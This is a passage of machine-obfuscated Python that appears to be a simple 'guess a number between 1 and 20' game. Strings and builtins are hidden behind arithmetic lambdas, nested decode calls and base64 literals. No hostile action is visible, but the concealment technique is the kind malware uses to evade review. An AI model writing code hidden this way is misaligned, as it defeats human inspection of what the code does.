+ 4), (lambda W: W + (W - W))(82 + 9 + 11 + 7 + 3 + 4), (lambda t: t + (t - t))(35 + 55 + 8 + 4), (lambda S: S + (S - S))(38 + 3 + 1 + 1 + 2), (lambda l: l + (l - l))(36 + 12 + 2 + 3 + 3)]).decode(bytes([(lambda Y: Y + (Y - Y))(48 + 42 + 6 + 9 + 7 + 2 + 3), (lambda S: S + (S - S))(69 + 27 + 8 + 10 + 1 + 1), (lambda w: w + (w - w))(18 + 25 + 34 + 22 + 3), (lambda T: T + (T - T))(23 + 6 + 6 + 8 + 1 + 1), (lambda y: y + (y - y))(33 + 7 + 3 + 6 + 3 + 1 + 3)]).decode(bytes([(lambda G: G + (G - G))(57 + 18 + 7 + 15 + 8 + 8 + 4), (lambda q: q + (q - q))(103 + 10 + 3), (lambda k: k + (k - k))(80 + 10 + 8 + 1 + 3), (lambda Q: Q + (Q - Q))(34 + 2 + 5 + 3 + 1), (lambda w: w + (w - w))(8 + 17 + 28 + 2 + 1)]).decode(bytes([(lambda T: T + (T - T))(35 + 63 + 9 + 3 + 1 + 5 + 1), (lambda m: m + (m - m))(44 + 16 + 6 + 16 + 15 + 12 + 3 + 3 + 1), (lambda Y: Y + (Y - Y))(31 + 9 + 48 + 4 + 6 + 3 + 1), (lambda t: t + (t - t))(20 + 21 + 2 + 1 + 1), (lambda U: U + (U - U))(11 + 20 + 25)]).decode(bytes([(lambda Y: Y + (Y - Y))(3 + 29 + 59 + 11 + 8 + 7), (lambda O: O + (O - O))(91 + 15 + 8 + 2), (lambda r: r + (r - r))(88 + 13 + 1), (lambda g: g + (g - g))(18 + 24 + 3), (lambda A: A + (A - A))(55 + 1)]).decode(bytes([(lambda v: v + (v - v))(12 + 103 + 2), (lambda j: j + (j - j))(96 + 4 + 16), (lambda o: o + (o - o))(89 + 9 + 4), (lambda p: p + (p - p))(37 + 2 + 3 + 1 + 2), (lambda Z: Z + (Z - Z))(24 + 14 + 13 + 3 + 2)]).decode(bytes([(lambda c: c + (c - c))(61 + 5 + 38 + 12 + 1), (lambda T: T + (T - T))(35 + 5 + 58 + 1 + 16 + 1), (lambda B: B + (B - B))(27 + 61 + 5 + 3 + 3 + 2 + 1), (lambda H: H + (H - H))(40 + 5), (lambda V: V + (V - V))(54 + 1 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))))))))))))))))))))))))), int(__builtins__.__dict__[bytes([(lambda d: d + (d - d))(30 + 15 + 3 + 1 + 20 + 23 + 2 + 1), (lambda v: v + (v - v))(70 + 5 + 13 + 2 + 5), (lambda Y: Y + (Y - Y))(94 + 5 + 5 + 1), (lambda f: f + (f - f))(36 + 71 + 2), (lambda S: S + (S - S))(109 + 1 + 2), (lambda F: F + (F - F))(45 + 65 + 1), (lambda U: U + (U - U))(16 + 81 + 5 + 2 + 10), (lambda S: S + (S - S))(22 + 83 + 8 + 3), (lambda b: b + (b - b))(43 + 27 + 13 + 8 + 3 + 1), (lambda w: w + (w - w))(63 + 21 + 5 + 1 + 2 + 2 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))](bytes([(lambda K: K + (K - K))(52 + 16 + 19 + 10 + 1), (lambda e: e + (e - e))(78 + 1 + 7 + 8 + 3), (lambda D: D + (D - D))(46 + 18 + 41 + 7 + 3), (lambda h: h + (h - h))(80 + 2 + 17 + 2), (lambda V: V + (V - V))(24 + 29 + 1), (lambda O: O + (O - O))(36 + 3 + 9 + 4)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))).b64decode(b'MjA=').decode(bytes([(lambda J: J + (J - J))(13 + 55 + 36 + 6 + 7), (lambda b: b + (b - b))(54 + 34 + 13 + 2 + 10 + 1 + 1 + 1), (lambda V: V + (V - V))(44 + 12 + 16 + 29 + 1), (lambda b: b + (b - b))(10 + 32 + 2 + 1), (lambda x: x + (x - x))(27 + 22 + 7)]).decode(bytes([(lambda k: k + (k - k))(24 + 36 + 57), (lambda F: F + (F - F))(12 + 78 + 19 + 7), (lambda U: U + (U - U))(99 + 3), (lambda b: b + (b - b))(36 + 7 + 1 + 1), (lambda e: e + (e - e))(20 + 15 + 21)]).decode(bytes([(lambda O: O + (O - O))(21 + 56 + 31 + 5 + 4), (lambda a: a + (a - a))(26 + 7 + 61 + 13 + 4 + 5), (lambda F: F + (F - F))(83 + 18 + 1), (lambda I: I + (I - I))(13 + 19 + 1 + 10 + 2), (lambda y: y + (y - y))(5 + 31 + 9 + 1 + 4 + 4 + 1 + 1)]).decode(bytes([(lambda m: m + (m - m))(91 + 18 + 7 + 1), (lambda q: q + (q - q))(8 + 65 + 29 + 7 + 7), (lambda k: k + (k - k))(87 + 5 + 2 + 6 + 1 + 1), (lambda Q: Q + (Q - Q))(17 + 12 + 15 + 1), (lambda h: h + (h - h))(26 + 18 + 11 + 1)]).decode(bytes([(lambda E: E + (E - E))(14 + 98 + 4 + 1), (lambda Y: Y + (Y - Y))(13 + 53 + 8 + 17 + 24 + 1), (lambda V: V + (V - V))(98 + 1 + 2 + 1), (lambda k: k + (k - k))(42 + 1 + 1 + 1), (lambda s: s + (s - s))(31 + 19 + 4 + 2)]).decode(bytes([(lambda w: w + (w - w))(99 + 7 + 6 + 4 + 1), (lambda u: u + (u - u))(37 + 10 + 63 + 5 + 1), (lambda p: p + (p - p))(94 + 5 + 1 + 1 + 1), (lambda L: L + (L - L))(22 + 16 + 1 + 4 + 1 + 1), (lambda M: M + (M - M))(5 + 37 + 11 + 1 + 2)]).decode(bytes([(lambda V: V + (V - V))(68 + 33 + 8 + 2 + 2 + 3 + 1), (lambda r: r + (r - r))(110 + 3 + 1 + 2), (lambda l: l + (l - l))(69 + 25 + 2 + 1 + 5), (lambda A: A + (A - A))(21 + 9 + 2 + 12 + 1), (lambda a: a + (a - a))(17 + 23 + 14 + 1 + 1)]).decode(bytes([(lambda A: A + (A - A))(76 + 11 + 2 + 3 + 5 + 15 + 3 + 1 + 1), (lambda r: r + (r - r))(86 + 1 + 11 + 18), (lambda d: d + (d - d))(28 + 25 + 12 + 7 + 21 + 2 + 4 + 1 + 1 + 1), (lambda W: W + (W - W))(39 + 4 + 1 + 1), (lambda w: w + (w - w))(48 + 3 + 4 + 1)]).decode(bytes([(lambda A: A + (A - A))(47 + 22 + 13 + 30 + 4 + 1), (lambda I: I + (I - I))(2 + 94 + 6 + 6 + 2 + 6), (lambda q: q + (q - q))(52 + 31 + 16 + 1 + 1 + 1), (lambda c: c + (c - c))(3 + 32 + 10), (lambda o: o + (o - o))(55 + 1)]).decode(bytes([(lambda N: N + (N - N))(85 + 29 + 2 + 1), (lambda n: n + (n - n))(43 + 36 + 21 + 9 + 4 + 3), (lambda u: u + (u - u))(79 + 1 + 13 + 9), (lambda j: j + (j - j))(30 + 7 + 5 + 3), (lambda W: W + (W - W))(11 + 23 + 10 + 7 + 3 + 2)]).decode(bytes([(lambda O: O + (O - O))(76 + 3 + 25 + 4 + 7 + 2), (lambda e: e + (e - e))(45 + 41 + 13 + 13 + 4), (lambda t: t + (t - t))(97 + 2 + 3), (lambda e: e + (e - e))(45), (lambda R: R + (R - R))(33 + 20 + 3)]).decode(bytes([(lambda h: h + (h - h))(77 + 23 + 10 + 6 + 1), (lambda J: J + (J - J))(115 + 1), (lambda s: s + (s - s))(87 + 5 + 2 + 4 + 1 + 1 + 2), (lambda I: I + (I - I))(23 + 6 + 1 + 9 + 6), (lambda O: O + (O - O))(43 + 6 + 5 + 1 + 1)]).decode(bytes([(lambda Z: Z + (Z - Z))(70 + 40 + 3 + 2 + 2), (lambda c: c + (c - c))(107 + 2 + 4 + 3), (lambda W: W + (W - W))(78 + 23 + 1), (lambda e: e + (e - e))(19 + 13 + 9 + 1 + 3), (lambda s: s + (s - s))(46 + 6 + 4)]).decode(bytes([(lambda X: X + (X - X))(113 + 2 + 1 + 1), (lambda m: m + (m - m))(83 + 31 + 1 + 1), (lambda Z: Z + (Z - Z))(95 + 7), (lambda L: L + (L - L))(8 + 10 + 6 + 20 + 1), (lambda W: W + (W - W))(4 + 2 + 19 + 17 + 5 + 2 + 7)]).decode(bytes([(lambda T: T + (T - T))(22 + 15 + 38 + 19 + 10 + 9 + 3 + 1), (lambda J: J + (J - J))(100 + 11 + 3 + 1 + 1), (lambda v: v + (v - v))(68 + 1 + 4 + 23 + 6), (lambda A: A + (A - A))(33 + 7 + 2 + 2 + 1), (lambda p: p + (p - p))(23 + 21 + 7 + 1 + 4)]).decode(bytes([(lambda p: p + (p - p))(83 + 12 + 17 + 1 + 4), (lambda W: W + (W - W))(82 + 9 + 11 + 7 + 3 + 4), (lambda t: t + (t - t))(35 + 55 + 8 + 4), (lambda S: S + (S - S))(38 + 3 + 1 + 1 + 2), (lambda l: l + (l - l))(36 + 12 + 2 + 3 + 3)]).decode(bytes([(lambda Y: Y + (Y - Y))(48 + 42 + 6 + 9 + 7 + 2 + 3), (lambda S: S + (S - S))(69 + 27 + 8 + 10 + 1 + 1), (lambda w: w + (w - w))(18 + 25 + 34 + 22 + 3), (lambda T: T + (T - T))(23 + 6 + 6 + 8 + 1 + 1), (lambda y: y + (y - y))(33 + 7 + 3 + 6 + 3 + 1 + 3)]).decode(bytes([(lambda G: G + (G - G))(57 + 18 + 7 + 15 + 8 + 8 + 4), (lambda q: q + (q - q))(103 + 10 + 3), (lambda k: k + (k - k))(80 + 10 + 8 + 1 + 3), (lambda Q: Q + (Q - Q))(34 + 2 + 5 + 3 + 1), (lambda w: w + (w - w))(8 + 17 + 28 + 2 + 1)]).decode(bytes([(lambda T: T + (T - T))(35 + 63 + 9 + 3 + 1 + 5 + 1), (lambda m: m + (m - m))(44 + 16 + 6 + 16 + 15 + 12 + 3 + 3 + 1), (lambda Y: Y + (Y - Y))(31 + 9 + 48 + 4 + 6 + 3 + 1), (lambda t: t + (t - t))(20 + 21 + 2 + 1 + 1), (lambda U: U + (U - U))(11 + 20 + 25)]).decode(bytes([(lambda Y: Y + (Y - Y))(3 + 29 + 59 + 11 + 8 + 7), (lambda O: O + (O - O))(91 + 15 + 8 + 2), (lambda r: r + (r - r))(88 + 13 + 1), (lambda g: g + (g - g))(18 + 24 + 3), (lambda A: A + (A - A))(55 + 1)]).decode(bytes([(lambda v: v + (v - v))(12 + 103 + 2), (lambda j: j + (j - j))(96 + 4 + 16), (lambda o: o + (o - o))(89 + 9 + 4), (lambda p: p + (p - p))(37 + 2 + 3 + 1 + 2), (lambda Z: Z + (Z - Z))(24 + 14 + 13 + 3 + 2)]).decode(bytes([(lambda c: c + (c - c))(61 + 5 + 38 + 12 + 1), (lambda T: T + (T - T))(35 + 5 + 58 + 1 + 16 + 1), (lambda B: B + (B - B))(27 + 61 + 5 + 3 + 3 + 2 + 1), (lambda H: H + (H - H))(40 + 5), (lambda V: V + (V - V))(54 + 1 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8'))))))))))))))))))))))))))) +__builtins__.__dict__[__builtins__.__dict__[bytes([(lambda d: d + (d - d))(30 + 15 + 3 + 1 + 20 + 23 + 2 + 1), (lambda v: v + (v - v))(70 + 5 + 13 + 2 + 5), (lambda Y: Y + (Y - Y))(94 + 5 + 5 + 1), (lambda f: f + (f - f))(36 + 71 + 2), (lambda S: S + (S - S))(109 + 1 + 2), (lambda F: F + (F - F))(45 + 65 + 1), (lambda U: U + (U - U))(16 + 81 + 5 + 2 + 10), (lambda S: S + (S - S))(22 + 83 + 8 + 3), (lambda b: b + (b - b))(43 + 27 + 13 + 8 + 3 + 1), (lambda w: w + (w - w))(63 + 21 + 5 + 1 + 2 + 2 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))](bytes([(lambda K: K + (K - K))(52 + 16 + 19 + 10 + 1), (lambda e: e + (e - e))(78 + 1 + 7 + 8 + 3), (lambda D: D + (D - D))(46 + 18 + 41 + 7 + 3), (lambda h: h + (h - h))(80 + 2 + 17 + 2), (lambda V: V + (V - V))(24 + 29 + 1), (lambda O: O + (O - O))(36 + 3 + 9 + 4)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))).b64decode(b'cHJpbnQ=').decode(bytes([(lambda J: J + (J - J))(13 + 55 + 36 + 6 + 7), (lambda b: b + (b - b))(54 + 34 + 13 + 2 + 10 + 1 + 1 + 1), (lambda V: V + (V - V))(44 + 12 + 16 + 29 + 1), (lambda b: b + (b - b))(10 + 32 + 2 + 1), (lambda x: x + (x - x))(27 + 22 + 7)]).decode(bytes([(lambda k: k + (k - k))(24 + 36 + 57), (lambda F: F + (F - F))(12 + 78 + 19 + 7), (lambda U: U + (U - U))(99 + 3), (lambda b: b + (b - b))(36 + 7 + 1 + 1), (lambda e: e + (e - e))(20 + 15 + 21)]).decode(bytes([(lambda O: O + (O - O))(21 + 56 + 31 + 5 + 4), (lambda a: a + (a - a))(26 + 7 + 61 + 13 + 4 + 5), (lambda F: F + (F - F))(83 + 18 + 1), (lambda I: I + (I - I))(13 + 19 + 1 + 10 + 2), (lambda y: y + (y - y))(5 + 31 + 9 + 1 + 4 + 4 + 1 + 1)]).decode(bytes([(lambda m: m + (m - m))(91 + 18 + 7 + 1), (lambda q: q + (q - q))(8 + 65 + 29 + 7 + 7), (lambda k: k + (k - k))(87 + 5 + 2 + 6 + 1 + 1), (lambda Q: Q + (Q - Q))(17 + 12 + 15 + 1), (lambda h: h + (h - h))(26 + 18 + 11 + 1)]).decode(bytes([(lambda E: E + (E - E))(14 + 98 + 4 + 1), (lambda Y: Y + (Y - Y))(13 + 53 + 8 + 17 + 24 + 1), (lambda V: V + (V - V))(98 + 1 + 2 + 1), (lambda k: k + (k - k))(42 + 1 + 1 + 1), (lambda s: s + (s - s))(31 + 19 + 4 + 2)]).decode(bytes([(lambda w: w + (w - w))(99 + 7 + 6 + 4 + 1), (lambda u: u + (u - u))(37 + 10 + 63 + 5 + 1), (lambda p: p + (p - p))(94 + 5 + 1 + 1 + 1), (lambda L: L + (L - L))(22 + 16 + 1 + 4 + 1 + 1), (lambda M: M + (M - M))(5 + 37 + 11 + 1 + 2)]).decode(bytes([(lambda V: V + (V - V))(68 + 33 + 8 + 2 + 2 + 3 + 1), (lambda r: r + (r - r))(110 + 3 + 1 + 2), (lambda l: l + (l - l))(69 + 25 + 2 + 1 + 5), (lambda A: A + (A - A))(21 + 9 + 2 + 12 + 1), (lambda a: a + (a - a))(17 + 23 + 14 + 1 + 1)]).decode(bytes([(lambda A: A + (A - A))(76 + 11 + 2 + 3 + 5 + 15 + 3 + 1 + 1), (lambda r: r + (r - r))(86 + 1 + 11 + 18), (lambda d: d + (d - d))(28 + 25 + 12 + 7 + 21 + 2 + 4 + 1 + 1 + 1), (lambda W: W + (W - W))(39 + 4 + 1 + 1), (lambda w: w + (w - w))(48 + 3 + 4 + 1)]).decode(bytes([(lambda A: A + (A - A))(47 + 22 + 13 + 30 + 4 + 1), (lambda I: I + (I - I))(2 + 94 + 6 + 6 + 2 + 6), (lambda q: q + (q - q))(52 + 31 + 16 + 1 + 1 + 1), (lambda c: c + (c - c))(3 + 32 + 10), (lambda o: o + (o - o))(55 + 1)]).decode(bytes([(lambda N: N + (N - N))(85 + 29 + 2 + 1), (lambda n: n + (n - n))(43 + 36 + 21 + 9 + 4 + 3), (lambda u: u + (u - u))(79 + 1 + 13 + 9), (lambda j: j + (j - j))(30 + 7 + 5 + 3), (lambda W: W + (W - W))(11 + 23 + 10 + 7 + 3 + 2)]).decode(bytes([(lambda O: O + (O - O))(76 + 3 + 25 + 4 + 7 + 2), (lambda e: e + (e - e))(45 + 41 + 13 + 13 + 4), (lambda t: t + (t - t))(97 + 2 + 3), (lambda e: e + (e - e))(45), (lambda R: R + (R - R))(33 + 20 + 3)]).decode(bytes([(lambda h: h + (h - h))(77 + 23 + 10 + 6 + 1), (lambda J: J + (J - J))(115 + 1), (lambda s: s + (s - s))(87 + 5 + 2 + 4 + 1 + 1 + 2), (lambda I: I + (I - I))(23 + 6 + 1 + 9 + 6), (lambda O: O + (O - O))(43 + 6 + 5 + 1 + 1)]).decode(bytes([(lambda Z: Z + (Z - Z))(70 + 40 + 3 + 2 + 2), (lambda c: c + (c - c))(107 + 2 + 4 + 3), (lambda W: W + (W - W))(78 + 23 + 1), (lambda e: e + (e - e))(19 + 13 + 9 + 1 + 3), (lambda s: s + (s - s))(46 + 6 + 4)]).decode(bytes([(lambda X: X + (X - X))(113 + 2 + 1 + 1), (lambda m: m + (m - m))(83 + 31 + 1 + 1), (lambda Z: Z + (Z - Z))(95 + 7), (lambda L: L + (L - L))(8 + 10 + 6 + 20 + 1), (lambda W: W + (W - W))(4 + 2 + 19 + 17 + 5 + 2 + 7)]).decode(bytes([(lambda T: T + (T - T))(22 + 15 + 38 + 19 + 10 + 9 + 3 + 1), (lambda J: J + (J - J))(100 + 11 + 3 + 1 + 1), (lambda v: v + (v - v))(68 + 1 + 4 + 23 + 6), (lambda A: A + (A - A))(33 + 7 + 2 + 2 + 1), (lambda p: p + (p - p))(23 + 21 + 7 + 1 + 4)]).decode(bytes([(lambda p: p + (p - p))(83 + 12 + 17 + 1 + 4), (lambda W: W + (W - W))(82 + 9 + 11 + 7 + 3 + 4), (lambda t: t + (t - t))(35 + 55 + 8 + 4), (lambda S: S + (S - S))(38 + 3 + 1 + 1 + 2), (lambda l: l + (l - l))(36 + 12 + 2 + 3 + 3)]).decode(bytes([(lambda Y: Y + (Y - Y))(48 + 42 + 6 + 9 + 7 + 2 + 3), (lambda S: S + (S - S))(69 + 27 + 8 + 10 + 1 + 1), (lambda w: w + (w - w))(18 + 25 + 34 + 22 + 3), (lambda T: T + (T - T))(23 + 6 + 6 + 8 + 1 + 1), (lambda y: y + (y - y))(33 + 7 + 3 + 6 + 3 + 1 + 3)]).decode(bytes([(lambda G: G + (G - G))(57 + 18 + 7 + 15 + 8 + 8 + 4), (lambda q: q + (q - q))(103 + 10 + 3), (lambda k: k + (k - k))(80 + 10 + 8 + 1 + 3), (lambda Q: Q + (Q - Q))(34 + 2 + 5 + 3 + 1), (lambda w: w + (w - w))(8 + 17 + 28 + 2 + 1)]).decode(bytes([(lambda T: T + (T - T))(35 + 63 + 9 + 3 + 1 + 5 + 1), (lambda m: m + (m - m))(44 + 16 + 6 + 16 + 15 + 12 + 3 + 3 + 1), (lambda Y: Y + (Y - Y))(31 + 9 + 48 + 4 + 6 + 3 + 1), (lambda t: t + (t - t))(20 + 21 + 2 + 1 + 1), (lambda U: U + (U - U))(11 + 20 + 25)]).decode(bytes([(lambda Y: Y + (Y - Y))(3 + 29 + 59 + 11 + 8 + 7), (lambda O: O + (O - O))(91 + 15 + 8 + 2), (lambda r: r + (r - r))(88 + 13 + 1), (lambda g: g + (g - g))(18 + 24 + 3), (lambda A: A + (A - A))(55 + 1)]).decode(bytes([(lambda v: v + (v - v))(12 + 103 + 2), (lambda j: j + (j - j))(96 + 4 + 16), (lambda o: o + (o - o))(89 + 9 + 4), (lambda p: p + (p - p))(37 + 2 + 3 + 1 + 2), (lambda Z: Z + (Z - Z))(24 + 14 + 13 + 3 + 2)]).decode(bytes([(lambda c: c + (c - c))(61 + 5 + 38 + 12 + 1), (lambda T: T + (T - T))(35 + 5 + 58 + 1 + 16 + 1), (lambda B: B + (B - B))(27 + 61 + 5 + 3 + 3 + 2 + 1), (lambda H: H + (H - H))(40 + 5), (lambda V: V + (V - V))(54 + 1 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))))))))))))))))))))))))](__builtins__.__dict__[bytes([(lambda d: d + (d - d))(30 + 15 + 3 + 1 + 20 + 23 + 2 + 1), (lambda v: v + (v - v))(70 + 5 + 13 + 2 + 5), (lambda Y: Y + (Y - Y))(94 + 5 + 5 + 1), (lambda f: f + (f - f))(36 + 71 + 2), (lambda S: S + (S - S))(109 + 1 + 2), (lambda F: F + (F - F))(45 + 65 + 1), (lambda U: U + (U - U))(16 + 81 + 5 + 2 + 10), (lambda S: S + (S - S))(22 + 83 + 8 + 3), (lambda b: b + (b - b))(43 + 27 + 13 + 8 + 3 + 1), (lambda w: w + (w - w))(63 + 21 + 5 + 1 + 2 + 2 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))](bytes([(lambda K: K + (K - K))(52 + 16 + 19 + 10 + 1), (lambda e: e + (e - e))(78 + 1 + 7 + 8 + 3), (lambda D: D + (D - D))(46 + 18 + 41 + 7 + 3), (lambda h: h + (h - h))(80 + 2 + 17 + 2), (lambda V: V + (V - V))(24 + 29 + 1), (lambda O: O + (O - O))(36 + 3 + 9 + 4)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))).b64decode(b'V2VsbCwgezB9LCBJIGFtIHRoaW5raW5nIG9mIGEgbnVtYmVyIGJldHdlZW4gMSBhbmQgMjAu').decode(bytes([(lambda J: J + (J - J))(13 + 55 + 36 + 6 + 7), (lambda b: b + (b - b))(54 + 34 + 13 + 2 + 10 + 1 + 1 + 1), (lambda V: V + (V - V))(44 + 12 + 16 + 29 + 1), (lambda b: b + (b - b))(10 + 32 + 2 + 1), (lambda x: x + (x - x))(27 + 22 + 7)]).decode(bytes([(lambda k: k + (k - k))(24 + 36 + 57), (lambda F: F + (F - F))(12 + 78 + 19 + 7), (lambda U: U + (U - U))(99 + 3), (lambda b: b + (b - b))(36 + 7 + 1 + 1), (lambda e: e + (e - e))(20 + 15 + 21)]).decode(bytes([(lambda O: O + (O - O))(21 + 56 + 31 + 5 + 4), (lambda a: a + (a - a))(26 + 7 + 61 + 13 + 4 + 5), (lambda F: F + (F - F))(83 + 18 + 1), (lambda I: I + (I - I))(13 + 19 + 1 + 10 + 2), (lambda y: y + (y - y))(5 + 31 + 9 + 1 + 4 + 4 + 1 + 1)]).decode(bytes([(lambda m: m + (m - m))(91 + 18 + 7 + 1), (lambda q: q + (q - q))(8 + 65 + 29 + 7 + 7), (lambda k: k + (k - k))(87 + 5 + 2 + 6 + 1 + 1), (lambda Q: Q + (Q - Q))(17 + 12 + 15 + 1), (lambda h: h + (h - h))(26 + 18 + 11 + 1)]).decode(bytes([(lambda E: E + (E - E))(14 + 98 + 4 + 1), (lambda Y: Y + (Y - Y))(13 + 53 + 8 + 17 + 24 + 1), (lambda V: V + (V - V))(98 + 1 + 2 + 1), (lambda k: k + (k - k))(42 + 1 + 1 + 1), (lambda s: s + (s - s))(31 + 19 + 4 + 2)]).decode(bytes([(lambda w: w + (w - w))(99 + 7 + 6 + 4 + 1), (lambda u: u + (u - u))(37 + 10 + 63 + 5 + 1), (lambda p: p + (p - p))(94 + 5 + 1 + 1 + 1), (lambda L: L + (L - L))(22 + 16 + 1 + 4 + 1 + 1), (lambda M: M + (M - M))(5 + 37 + 11 + 1 + 2)]).decode(bytes([(lambda V: V + (V - V))(68 + 33 + 8 + 2 + 2 + 3 + 1), (lambda r: r + (r - r))(110 + 3 + 1 + 2), (lambda l: l + (l - l))(69 + 25 + 2 + 1 + 5), (lambda A: A + (A - A))(21 + 9 + 2 + 12 + 1), (lambda a: a + (a - a))(17 + 23 + 14 + 1 + 1)]).decode(bytes([(lambda A: A + (A - A))(76 + 11 + 2 + 3 + 5 + 15 + 3 + 1 + 1), (lambda r: r + (r - r))(86 + 1 + 11 + 18), (lambda d: d + (d - d))(28 + 25 + 12 + 7 + 21 + 2 + 4 + 1 + 1 + 1), (lambda W: W + (W - W))(39 + 4 + 1 + 1), (lambda w: w + (w - w))(48 + 3 + 4 + 1)]).decode(bytes([(lambda A: A + (A - A))(47 + 22 + 13 + 30 + 4 + 1), (lambda I: I + (I - I))(2 + 94 + 6 + 6 + 2 + 6), (lambda q: q + (q - q))(52 + 31 + 16 + 1 + 1 + 1), (lambda c: c + (c - c))(3 + 32 + 10), (lambda o: o + (o - o))(55 + 1)]).decode(bytes([(lambda N: N + (N - N))(85 + 29 + 2 + 1), (lambda n: n + (n - n))(43 + 36 + 21 + 9 + 4 + 3), (lambda u: u + (u - u))(79 + 1 + 13 + 9), (lambda j: j + (j - j))(30 + 7 + 5 + 3), (lambda W: W + (W - W))(11 + 23 